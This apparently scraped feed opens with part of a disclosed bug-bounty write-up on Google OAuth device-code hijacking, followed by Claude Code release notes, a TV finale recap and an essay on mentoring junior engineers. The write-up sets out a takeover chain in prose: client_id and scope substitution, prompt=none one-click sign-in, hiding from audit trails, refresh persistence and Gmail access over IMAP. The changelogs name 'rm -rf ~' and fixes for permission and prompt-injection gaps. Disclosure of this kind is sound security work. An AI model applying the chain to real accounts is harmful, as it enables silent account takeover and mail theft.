The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.

6. From Consent Screen to One Click

I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the thing being consented to was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.

OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.

In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.

Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.

One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.

PoC: prompt=none one-click bypass against a third-party client

The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.

7. Why the Victim Never Notices

The natural follow-up: surely something surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.

Audit trail pollution. myaccount.google.com/connections shows the original client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.

The “YouTube on TV” connections entry, expanded: Gmail read/compose/send/delete, Cloud SQL, App Engine, and Compute Engine, all under a client that’s supposed to only need YouTube scopes

Implicit 2FA bypass. The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.

Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.

8. Extending the Primitive

Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.

Persistent access via accounts.reauth. Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.

A Gmail backdoor via IMAP, not the REST API. Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: "Gmail API has not been used in project 861556708454 before or it is disabled." That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the XOAUTH2 SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.

Successful IMAP XOAUTH2 authentication over the substituted token, listing real Gmail folders and recent inbox messages

End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.

Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.

9. Disclosure Timeline

Feb 25, 2026 Report filed with Google VRP
Mar 2, 2026 Closed: Won’t Fix (Intended Behavior), citing “social engineering”
Mar 2, 2026 Pushed back same day
Mar 3, 2026 Reopened, then closed again: Won’t Fix (Infeasible)
Mar 3, 2026 Countered with a prompt=none one-click PoC against Facebook’s client_id
Mar 4, 2026 Reopened a second time and accepted; bug filed with the product team
Mar 28, 2026 Marked fixed
Apr 2, 2026 Rewarded $13,337

The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.

10. Mitigations

For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:

Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.
Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.
On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.

11. Conclusion

The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the start of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.

Thanks for reading.

Originally published on https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html

Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

v2.1.212

Fri, 17 Jul 2026 02:31:39 +0200

What's changed

/fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt (pass --yes to skip)
Added a session-wide limit on WebSearch tool calls (default 200, tunable via CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION) to stop runaway search loops
Added a per-session cap on subagent spawns (default 200, override with CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION) to stop runaway delegation loops; /clear resets the budget
MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS
Typing /resume in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session
Fixed plan mode auto-running file-modifying Bash commands (e.g. touch, rm) without a permission prompt or SDK canUseTool callback
Fixed worktree creation following a repository-committed symlink at .claude/worktrees, which could create files outside the repository
Fixed a continue:false hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections
Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143
Fixed /background and claude --bg failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7
Fixed shell mode (!) not executing commands containing file paths while the path autocomplete popup was open
Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji
Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the ? help overlay
Fixed /ultrareview rejecting PR references like #123, PR 123, and pasted PR URLs; error hints now name the command you actually typed
Fixed /ultrareview not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos
Fixed /ultrareview skipping the billing confirmation in a new conversation after /clear
Fixed /ultrareview's "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands
Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning
Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session
Fixed ExitWorktree failing with "no active EnterWorktree session" after resuming a session with --continue/--resume in print/SDK mode
Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run
Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart
Fixed background sessions created with /fork losing their live-parent protection after a state write failure
Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart
Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session
Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long
Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode
Fixed diff previews losing their line numbers and +/- markers in narrow layouts
Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143
Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding
Fixed OTLP event log records missing trace_id/span_id when TRACEPARENT is set in SDK/headless mode
Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause
Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded
Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff
Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)
Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait
Reduced token usage in inter-agent messaging: SendMessage bodies are no longer duplicated into replayed history and tool results
Changed /fork to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view
Changed bare /btw to reopen the side-question panel on your most recent exchange so you can browse earlier answers
Changed the ← footer hint to pulse N done for a moment when a background agent finishes while nothing needs your input
Deprecated the Task tool's mode parameter (now ignored); subagents inherit the parent session's permission mode by default
Changed Enterprise forceLoginMethod to be enforced for VS Code extension, SDK, setup-token, and install-github-app logins, not just the terminal
Changed session transcripts to record the reasoning effort level on each assistant message
Changed headless/SDK sessions to apply a set_model control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn
Changed agent view / claude agents --json: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"
Updated the auth status panel title from "Cloud authentication" to "Authentication"
Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically

v2.1.211

Thu, 16 Jul 2026 01:16:22 +0200

What's changed

Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message
Fixed auto mode overriding a PreToolUse hook's ask decision for unsandboxed Bash — a hook ask now floors the decision at a prompt
Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store
Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message
Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured
Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message
Fixed nested .claude/rules/*.md files loading even when setting sources exclude project settings
Fixed file upload validation: filenames ending in a DOS device suffix (.prn) or trailing dot are now accepted, and files with multiple hard links are refused
Fixed file uploads to Claude in Chrome from remote and CLI sessions
Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel
Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running
Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)
Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id
Fixed /loop hiding the session from /resume after a single use
Fixed screen reader users losing the audible terminal bell after /terminal-setup or onboarding terminal setup
Fixed background jobs on LLM gateway auth (ANTHROPIC_AUTH_TOKEN + ANTHROPIC_BASE_URL) coming back "Not logged in" after the daemon respawns them
Fixed claude agents jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing
Fixed /clear not resetting the session cost counter — the statusline's cost now starts at $0 after /clear
Fixed Claude in Chrome setup pages failing to open in the browser on Windows
Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable
Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link
Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions
Fixed routines with no schedule reporting a next run time in the year 1
Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after /clear
Improved terminal layout and rendering performance
Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results
Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments
Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like 1e6 and 64_000
Updated documentation links to the current docs sites
Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees
Changed /usage-credits to ask for confirmation before sending a request to organization admins
Changed Vim mode s and S (substitute char/line) to work in NORMAL mode, matching vim behavior
[VSCode] Updated the Remote Control banner to describe what it does
Claude in Chrome: hardened file-upload path validation
Claude in Chrome: save_to_disk on screenshot actions now writes the image to disk and returns the path; previously it did nothing
Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.

Maximum Pleasure Guaranteed Episode 10 Recap: Who Survived the Gunshot?

Wed, 15 Jul 2026 15:24:36 +0200

Maximum Pleasure Guaranteed Episode 10 confirms that Detective Baxter survived the gunshot fired by Jennifer in the woods. However, his survival creates another serious problem for the Souter Group, which quickly begins removing anyone who can expose its operation. Major spoilers for Episode 10, “Queens,” follow. Episode title: Queens Release date: July 15, 2026 Streaming platform: Apple TV Genre: Dark comedy, crime and thriller Duration: Around 38 minutes Season: Season 1, Episode 10 Main cast: Tatiana Maslany, Jake Johnson, Dolly de Leon, Murray Bartlett, Jon Michael Hill, Charlie Hall and Kiarra Hamagami Goldberg Episode 10 serves as the Season 1 finale of the ten-part Apple TV series. It continues immediately after Jennifer shoots Baxter and escapes, while Paula enters the Souter Group’s private gathering to confront Cecilia. Did Detective Baxter Survive the Gunshot? Yes, Detective Baxter survives. The finale later shows Baxter waking up in a hospital bed with Detective Gonzalez beside him. Gonzalez promises that they will discover what really happened, suggesting that the police investigation into Jennifer and the Souter Group remains active. Baxter’s survival makes Jennifer dangerous to the people who hired her. She can now face charges for shooting a police officer, and Baxter can help identify her. The Souter Group also knows that Jennifer has enough information to expose the people behind the murders, surveillance and blackmail operation. Jennifer believes completing the job against Paula will restore her position. However, Brian approaches her while she sits inside her car and shoots her several times. He then reports that the assignment has been completed. Jennifer does not survive the finale. Paula Confronts Cecilia Paula reaches Cecilia and explains that she has uncovered the connection between Trevor, Dennis and the Souter Group. The company publicly presents itself as a risk-advisory business, but Paula believes it secretly uses surveillance, threats and violence to influence events for powerful clients. Paula cannot prove every part of the conspiracy, although she has evidence that Dennis bribed Joyce to help Cecilia’s son enter Yale. She threatens to expose that information unless Cecilia protects her and Hazel. Cecilia appears to accept the deal because Paula soon receives exactly what she needs. The murder case against her disappears, and the company creates another suspect. Dennis Survived His Shooting, but Does Not Survive the Finale The episode reveals that Dennis survived after Paula shot him in the face. His injuries left him badly disfigured, while the Souter Group secretly kept him alive until it needed someone to blame. Two workers take Dennis to a rooftop, place a false suicide note in his pocket and push him from the building. The note claims that he killed Trevor and Sky, which allows the police to close the case and clear Paula. Therefore, Baxter and Dennis both survived their original gunshot wounds, although Dennis is later killed. Does Paula Win Custody of Hazel? Paula also survives the custody hearing against Karl and Mallory. Their lawyer raises her relationship with Trevor, her drinking and the mysterious Portland incident. Paula admits that she struggled after her divorce, but she explains that loneliness and personal mistakes do not make her an unfit mother. The judge rules in her favour, allowing Hazel to remain in New York under the existing custody arrangement. What Does the Final Scene Mean? Paula’s victory does not last long. An unknown person sends her security footage from Portland. The video appears to show Paula deliberately driving into Caleb, revealing that she played a direct role in his death. The sender tells Paula that they now control her and expect her to complete a favour. Paula finally answers the phone as the season ends. The scene suggests that Cecilia spared Paula because the Souter Group sees value in her research skills and wants to force her into working for them. However, the identity of the caller remains unconfirmed. Maximum Pleasure Guaranteed Episode 10 answers the gunshot cliffhanger while opening a much larger mystery around Paula’s past. What did you think about the finale, and do you plan to watch a possible second season? Let us know in the comments.

Maximum Pleasure Guaranteed Episode 10 Recap: Who Survived the Gunshot?

Wed, 15 Jul 2026 14:09:12 +0200

v2.1.210

Wed, 15 Jul 2026 01:46:28 +0200

What's changed

Added a live elapsed-time counter to the collapsed tool summary line so long-running tool calls visibly tick instead of looking stuck
Added a startup warning for Write(path), NotebookEdit(path), and Glob(path) permission rules — use Edit(path) or Read(path) instead
Fixed isolation: 'worktree' subagents being able to run git-mutating commands against the main repo checkout instead of their own isolated worktree
Fixed the ultracode keyword opt-in firing on non-human-originated input such as webhook payloads and relayed PR comments
Fixed a rendered text fragment leaking into crash telemetry when a UI component returned content outside a styled text element
Fixed paste markers leaking into external editors opened from Claude Code, which could appear as stray È/É characters around pasted text
Fixed claude attach sometimes failing with "job not found" or "agent is still starting" errors during session transitions — attach now waits for the daemon to settle, and terminal resizes during a slow attach are applied once it completes
Fixed a session crash when a tool's result renderer returned a numeric bigint value or plain text instead of a UI element
Fixed a hook callback timeout being misreported to the model as a user rejection, which made unattended sessions stop and wait
Fixed Claude assuming a cd took effect after its command was moved to the background; the tool result now states the working directory is unchanged
Fixed plugin-provided MCP servers being torn down when MCP servers are re-synced mid-session
Fixed plan approvals without edits being labeled "(edited by user)" and overwriting the plan file with a stale snapshot
Fixed /doctor skipping its auto-mode-default proposal on Bedrock, Vertex, and Foundry, where auto mode no longer needs an opt-in
Fixed Grep content mode claiming "No matches found" when paginating past the end of results
Fixed unmatched $1/$2 positional placeholders in skills and commands being silently stripped; they are now preserved verbatim
Fixed plugin cache writes leaving temp files behind on failure and failing on locked-file renames on Windows and network filesystems
Fixed background workers crash-looping when a client resets its connection to the background service
Fixed claude agents --effort ultracode not reaching dispatched sessions; the value was silently dropped
Fixed pressing ← to open the agents view dropping the task tracker when returning to the session
Fixed the agents dashboard retaining pasted images from abandoned reply drafts after their session was deleted
Fixed killed background sessions leaving a permanent git worktree lock behind; the periodic sweep now releases locks whose owning process is gone
Fixed SDK MCP servers registered via an initialize control request waiting until the next turn to start connecting
Fixed returning to the agents view from a session leaving overlapping ghost frames with CLAUDE_CODE_DISABLE_ALTERNATE_SCREEN=1
Fixed late-appearing .claude/* symlinks not being reconciled into the sandbox deny-write list
Hardened the Agent tool against indirect prompt injection via content a subagent read
Improved the Bash/PowerShell tool message when a command hits its timeout and is auto-backgrounded, so the model can distinguish a hang from an explicit background request
Improved auto mode: the permission classifier now defaults to Sonnet 5 for external sessions, validated on the session's first request and pinned for the session
Improved the bundled dataviz skill's chart color validation with perceptual OKLab color difference and recalibrated color-blindness thresholds
Memory writes that leave a MEMORY.md index over its read limit now produce an explicit error instead of silent truncation
Screen reader mode now announces permission mode changes aloud when cycling modes with Shift+Tab
The agents footer hint now shows how many background agents are waiting on your input, with a brief color emphasis when the count changes
Agent view: the session you pressed ← from stays visibly marked even after mouse hover or arrow keys move the selection
Fable temporarily shows as unavailable in the advisor picker while a server-side issue causing Fable advisor failures is fixed

How do you go from junior to staff engineer when AI writes the code?

Tue, 14 Jul 2026 13:08:42 +0200

A few weeks ago, a new hire at Aviator, fresh out of college, asked me a question I didn’t have a clean answer to. How do I become a senior engineer, or even a staff engineer? What should I learn, and how?

It’s a fair question and a harder one to answer than it was just a year ago.

The path used to be well-known. As a newly hired junior software engineer, you were given an experienced mentor who would assign you simple tasks to learn the ropes. You’d write some code, ask plenty of questions, open a pull request, get feedback in code review, think about it and fix your code. Rinse and repeat that a few hundred times. The tasks became more complex; the feedback got shorter and along the way you’ve been building judgment, the thing that separates a senior engineer from a junior one.

Now AI writes most of the code. The loop looks different and the easy assumption is that it’s broken: fewer tasks for juniors to cut their teeth on, an agent fixing the code that another agent wrote, thinner path to judgment.

Mentoring got easier, not harder

I knew just the person to ask: how do we grow senior and staff engineers in the AI era? Adam Berry is a staff engineer at Netflix, a member of The Hangar, our community of engineering leaders, and someone I have been discussing the evolving role of code review and knowledge sharing for a while now. He spends his time on getting AI adoption right, rather than just fast, in their engineering organization and has been working out the question of growing new engineers in practice. Mentoring juniors in an agentic world, Adam says, isn’t harder; it’s embarrassingly easy.

“You grow juniors and help them become better engineers the same way you always did. AI isn’t changing the methodology. It’s changing the details,” he told me. His point is that the agentic world gives a lot more options for giving juniors bounded tasks to work on and more feedback. The scattered remarks and comments seniors used to give in person now can be put into instructions and guardrails.

Adam breaks working with agents into three foundational skills:

If you don’t know how to do something with the agent, ask the agent.
If the agent does something you don’t like, figure out how to correct it and then codify it so it doesn’t happen again.
Your sense of when the agent has gone off the rails.

“Most juniors can pick up the first two on their own. On the third one, they need guidance, he says.

His process for building it is staged. “The stages are about growing scope. First, you give a junior engineer a well-specified task—and these are now bigger than what you’d have given a junior before. You can give them task definitions that are like a prompt and instructions to drive that prompt, make sure they got to a good plan, make sure they understood the plan, and that they thought through the test cases, etc.

Then gradually you peel off some of that specificity so they have to build the muscle themselves. Once they’ve gotten good at that level of scope, they’re ready to work on larger scoped problems.”

Starting from more specific problems and going towards ambiguous problems is the definition of growing as an engineer.

Pair programming with the agent in the room

Seniors can still do pairing sessions with juniors, now with the agent in the room.

“In the pairing session, the earlier-career engineer should be the one driving. The agent can be set up to interrogate the junior rather than just answer them. None of you is manually writing code, but you’re still doing pair programming and mentoring. Even if it’s just a trivial bug fix, if you guide a junior through it, it forces them to do just that little bit of thinking.”

Adam says mentoring juniors today does not have to mean forcing them to write code manually. Seniors should teach them the process of agentic engineering, and that’s exactly what they should focus on during the pairing sessions. The habit he wants to be installed early is asking for options instead of answers.

“I aim to teach juniors to ask for options and think through them, even on small tasks. I ask them to explain what their input to the AI tool was that led to the code they got. But I’d also show them how I would have done the same thing.”

The pairing produces artifacts as it goes. “That’s where you get into conversations of, ‘This is why that wasn’t quite it for me,’ and if I see that that’s not baked into the repo, I’m going to add this into the ADR, into the design, into the instruction set. I’ll codify that so the junior gets it too, and they know why it exists, because they watched me go through it with the tool myself.”

That reshapes the code review instead of removing it. Making that work puts more on senior engineers, not less. “Senior engineers need to ensure that things like ADRs, or whatever system you use, are properly encapsulated in the repo for both the agents and the humans to consume.” His team also attaches the prompts to the pull request and has the agent summarize what it did against what the prompt asked.

Adam also teaches junior engineers how to bring in expert sources from outside into AI tools. He’ll point an agent at a book like Michael Feathers’ Working with Legacy Code as an example of what quality code looks like and have it work from the concepts directly.

Don’t outsource the thinking

His arguments make sense, but I also recently came across research examining the influence of AI tools on how and why members of software engineering teams interact. Their finding was not surprising: of the 131 surveyed developers, 51% said they now ask GenAI for technical help they once would have asked a person, and 62% said it was easier to ask GenAI without fear of embarrassment.

When a junior gets stuck now, their first move usually isn’t to message a senior on Slack. It’s to ask the agent. This is also the case in code reviews. The purpose of code reviews was always knowledge sharing as much as it was a quality gate. What I see junior engineers do now is take the feedback and, without reading it closely, hand it straight to the agent to resolve. The part where they would have to understand how their work differed from what the senior expected disappears. It got passed from the reviewer to the agent, and the junior skipped the understanding.

This isn’t really the junior’s fault. They need the motivation and the space to do it differently, and the default pattern under delivery pressure is to push the thing out and worry about it later.

The same research showed that developers turned to colleagues with questions about context (65% to clarify business logic or requirements, 50% for how something had been done before).

Respondents were also aware of the trap that Berry’s approach was created to avoid: AI tends to hand back a single answer, compared to multiple perspectives a colleague surfaces and they kept seeking teammates for context-specific expertise, mentorship and plain social connection.

The fix is almost mechanical: if you have to make a choice, you have to think about it. I do this in my own product thinking. Most of it happens by bouncing ideas off Claude, but whenever something is complex, I make myself lay out a few options, trade them against each other and decide which direction to take. That’s the same move Berry wants juniors making, and it’s what builds judgment, whether you’re twenty-two or forty.

Why we should still hire juniors

There’s also a hiring question underneath all of this. We recently hosted Kent Beck, an industry legend, at the Hangar in a session we called “Juniors FTW,” and his reasoning was that the industry is being remade fast enough that being new is an advantage. Juniors are too new to have absorbed what everyone “knows” is impossible, which leaves them less biased, more creative and carrying fewer preconceived mental barriers.

Beck also wrote about how important it is to hire juniors without the calculation of how many tasks they can perform.

“If all we cared about was today’s productivity, we wouldn’t have hired you at all. Instead, we (the seniors) are focused on the future: we know there’s going to be far more work here than we could possibly accomplish. We are paying your salary now as the option premium on the engineer you will become. If we play this game right, we’ll have a kick-ass next generation of engineers. If not, we’ll have to be doing the same engineering jobs ten years from now, and we really don’t want to be doing that.”

The pipeline is thinning

The trend is running the other way. Entry-level hiring at the 15 biggest tech firms fell 25 percent from 2023 to 2024, according to a report from SignalFire. In a recent survey of engineering leaders, a majority said they plan to hire fewer juniors, on the logic that AI lets seniors cover more ground.

That logic is short-sighted in a specific way. Senior engineers don’t appear from nowhere. They’re the juniors someone hired five or ten years ago and invested in mentoring them. Stop hiring and growing juniors now, and the gap doesn’t show up this year. It shows up later, when the industry needs people with the judgment that only comes from years of making mistakes and recovering from them and finds it stopped producing them.

So, here’s the answer to the question that the new hire asked: the path to senior and to staff is the same path it always was. You grow the range of ambiguity you can handle, and you stay honest about the part you can’t handle yet. What changed is the interface. The agent writes the code. Your job is to keep asking questions to your colleagues and the agents and keep doing the thinking until the thinking is good.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

v2.1.208

Tue, 14 Jul 2026 03:16:40 +0200

What's changed

Added screen reader mode: opt-in plain-text rendering for screen reader users. Run claude --ax-screen-reader, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.
Added vimInsertModeRemaps setting: map two-key insert-mode sequences like jj to Escape in vim mode
Added CLAUDE_CODE_PROCESS_WRAPPER: agent view and the background service now honor a corporate launcher by running every Claude Code self-spawn through a required wrapper executable
Added mouse-click support for multi-select menus and "Other" input rows in fullscreen mode
Fixed fast mode staying off after switching back to a model that supports it — it now restores automatically when enabled in settings
Fixed replies typed to a background agent being lost when delivery fails — the text is now saved and delivered when the session restarts
Fixed background-session attach failing permanently ("Couldn't start the background daemon") after an update replaced the binary a running claude agents process was launched from
Fixed the context window (and auto-compact indicator) briefly resetting to 200k after the CLI auto-updates, causing a false "100% context used" when resuming long-context sessions
Fixed supervised and background sessions crashing when a server closed an HTTP/2 connection with a GOAWAY while requests were in flight
Fixed truncated stream-json/JSON output and missing result message when piping large responses from claude -p
Fixed CLAUDE_CODE_MAX_OUTPUT_TOKENS and similar env vars silently using the mantissa of scientific-notation values (1e6 became 1)
Fixed very large markdown tables stalling rendering or using excessive memory; tables over 200 rows show the first 200 with a "… N more rows" notice
Fixed the Edit tool failing on files modified after reading when the target text still matches uniquely
Fixed Read reporting empty files as "shorter than offset", Grep silently returning "No files found" for invalid regex patterns, Grep count mode under-reporting totals when paginated, and Glob crashing with an unclear error when the pattern, path, or working directory contained a null byte
Fixed apiKeyHelper script failures being hidden behind a generic 401 after ~10 silent retries; the script's own error is now shown within 3 attempts
Fixed Bedrock streaming requests failing with a misleading "Truncated event message received" when a gateway transforms the response — the error now names the content-type and points at the proxy
Fixed /upgrade showing a login flow instead of the upgrade URL when the browser fails to open
Fixed stream-json input killing the session on blank CRLF or whitespace-only lines from Windows-style SDK hosts
Fixed headless stream-json sessions hanging permanently when a control_request carried a non-string set_model payload; the CLI now answers with an error response
Fixed repeated "No completion record was found" notices on session resume — orphaned background tasks now collapse into a single summary
Fixed Remote Control clients attaching to a terminal-hosted session not seeing background agents and workflow progress until a task started or stopped
Fixed the Agent tool launching with no tools when a subagent's tools list resolves to nothing — it now returns a clear error naming the unrecognized entries
Fixed /usage showing stale cached bars over fresher data, and /mcp not reclassifying placeholder servers after config edits
Fixed "Change directory" in SDK hosts (e.g. Claude Desktop) failing with "A turn is in progress" on idle sessions that have a running background task
Fixed the workflow save dialog showing ~/.claude/workflows/ instead of the CLAUDE_CONFIG_DIR location for user-scope saves
Fixed /release-notes adding the viewed notes to the model's context — "Show all" previously injected the entire changelog into every subsequent request
Fixed a memory leak in the agent view where pasted images were retained for the screen's lifetime after sending peek replies
Fixed SDK sessions losing agents defined via the initialize request when a plugin refresh ran before the client attached
Fixed several memory leaks in long sessions: MCP stdio server stderr accumulating up to 64 MB per server, LSP documents staying open indefinitely (now LRU with 50-doc cap), async hook output retained after backgrounding, and unbounded growth in headless/SDK sessions from large tool-result payloads
Fixed a memory blowup when reading files with extremely long single lines using offset/limit — the read now returns a clean error instead of loading the whole line
Fixed multi-second per-turn slowdowns in sessions with many permission deny/ask rules — rule matchers are now compiled once and cached
Improved input responsiveness while agent task lists update — task updates no longer re-render the entire UI
Reduced per-tool-call CPU overhead in print/SDK sessions with many MCP tools by caching tool-pool assembly (up to 7x faster tool rounds at high tool counts)
Reduced memory usage by bounding the file edit read cache to 16 MB instead of pinning up to 1,000 full files
Reduced session transcript size (up to 79x in edit-heavy sessions) and bounded checkpoint disk usage by pruning superseded file-history backups
Reduced memory usage when resuming sessions with background agents or forks spawned from large conversations
Completed background agents now stay listed in /tasks until cleanup instead of vanishing the moment they finish
Attaching to a stopped background agent now shows its transcript immediately while the session warms up, instead of a blank "Session is starting" screen
Background sessions: an older daemon no longer silently restarts workers spawned by a newer version onto the older binary
Agent view: Ctrl+X now deletes renamed-branch worktrees, never destroys unpushed commits, keeps the session row when a worktree is kept, and reused worktree names reset to the current base
Catastrophic removals (e.g. rm -rf ~) in commands containing $(…)/backticks/<(…) now prompt in --dangerously-skip-permissions and auto mode, matching the plain form
/install-github-app and the /mcp settings menu no longer open in background sessions
MCP servers configured with an empty URL now show as "not configured" in /mcp instead of a config error
/usage now shows your last-known usage bars with an "as of" note when the usage endpoint is rate-limited, instead of an error screen
Fixed Bedrock auth failing with "Session token not found or invalid" for AWS SSO profiles whose sso_region differs from the Bedrock region (2.1.207 regression)

OpenAI Shuffles ChatGPT Apps, Kills Atlas Browser, Improves Voice

Tue, 14 Jul 2026 01:21:21 +0200

